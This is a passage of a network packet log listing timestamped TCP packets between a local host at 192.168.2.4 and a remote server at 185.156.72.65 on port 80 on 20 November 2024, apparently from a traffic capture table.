Nov 20, 2024 05:02:22.192935944 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.192939997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.192956924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.192956924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.192969084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.192974091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.192990065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.192991018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193006039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193015099 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193022966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193033934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193038940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193048954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193056107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193070889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193079948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193088055 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193104029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193104982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193121910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193129063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193137884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193152905 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193155050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193171978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193177938 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193188906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193201065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193205118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193228006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193232059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193243027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193257093 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193259954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193276882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193281889 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193294048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193309069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193316936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193324089 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193341970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193366051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193373919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193398952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193447113 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193453074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193475962 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193492889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193509102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193516970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193530083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193536043 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193559885 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193563938 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193578959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193593979 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193618059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193622112 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193629026 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193646908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193662882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193676949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193686008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193695068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193701982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193711996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193730116 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193751097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193773985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193790913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193805933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193821907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193830013 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193839073 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193856001 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193876982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193897963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193919897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193936110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193943024 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193953037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193963051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193969965 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193980932 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.193986893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.193994045 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194013119 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194022894 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194068909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194084883 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194098949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194109917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194114923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194120884 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194130898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194142103 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194147110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194156885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194164991 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194174051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194180965 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194195032 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194197893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194205046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194215059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194221020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194231987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194241047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194248915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194251060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194266081 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194268942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194282055 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194284916 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194295883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194302082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194319010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.194335938 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.194361925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.276998997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.277117968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.281833887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.281867981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.281884909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.281941891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.281954050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.281970024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.281985998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.281996965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282011986 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282030106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282035112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282047033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282062054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282083988 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282105923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282192945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282210112 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282224894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282241106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282244921 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282257080 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282269001 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282274961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282290936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282296896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282318115 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282331944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282349110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282363892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282370090 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282382011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282398939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282413960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282407999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282407999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282429934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282430887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282439947 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282452106 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282468081 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282480001 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282495975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282511950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282516956 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282529116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282531023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282542944 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282546997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282562017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282567978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282578945 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282584906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282598972 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282623053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282640934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282656908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282670975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282686949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282701969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282708883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282718897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282733917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282740116 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282761097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282772064 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282783031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282797098 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282814980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282830954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282833099 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282846928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282854080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282861948 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282879114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282886982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282896996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282908916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282913923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282933950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282934904 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282959938 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282960892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282978058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.282984018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.282994986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283004999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283011913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283015966 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283025980 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283029079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283049107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283049107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283070087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283082962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283086061 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283102036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283107042 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283118010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283128023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283135891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283140898 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283154011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283159018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283169985 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283169985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283183098 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283188105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283204079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283204079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283219099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283238888 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283241034 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283261061 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283286095 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283348083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283364058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283379078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283389091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283399105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283400059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283416986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283421040 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283433914 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283435106 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283449888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283454895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283468962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283488035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283493996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283515930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283530951 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283540010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283546925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283550978 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283562899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283565998 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283587933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283607006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283649921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283665895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283682108 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283689022 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283699989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283703089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283716917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283721924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283732891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283739090 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283754110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283756018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283772945 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283791065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283792973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283808947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283838034 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283844948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283863068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283873081 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283881903 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283898115 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283901930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283914089 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283921957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283931017 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283932924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283948898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.283953905 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283974886 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283988953 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.283994913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284013987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284032106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284034014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284048080 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284049034 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284065008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284069061 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284085035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284092903 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284102917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284115076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284117937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284133911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284137964 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284151077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284162045 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284168005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284174919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284184933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284192085 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284203053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284204960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284219980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284221888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284236908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284239054 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284252882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284254074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284269094 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284270048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284286022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284288883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284301043 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284306049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284317017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284322977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284338951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284339905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284358025 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284362078 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284372091 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284373999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284389019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284394026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284416914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284432888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:22.284497023 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:22.284512043 CET	80	49730	185.156.72.65	192.168.2.4
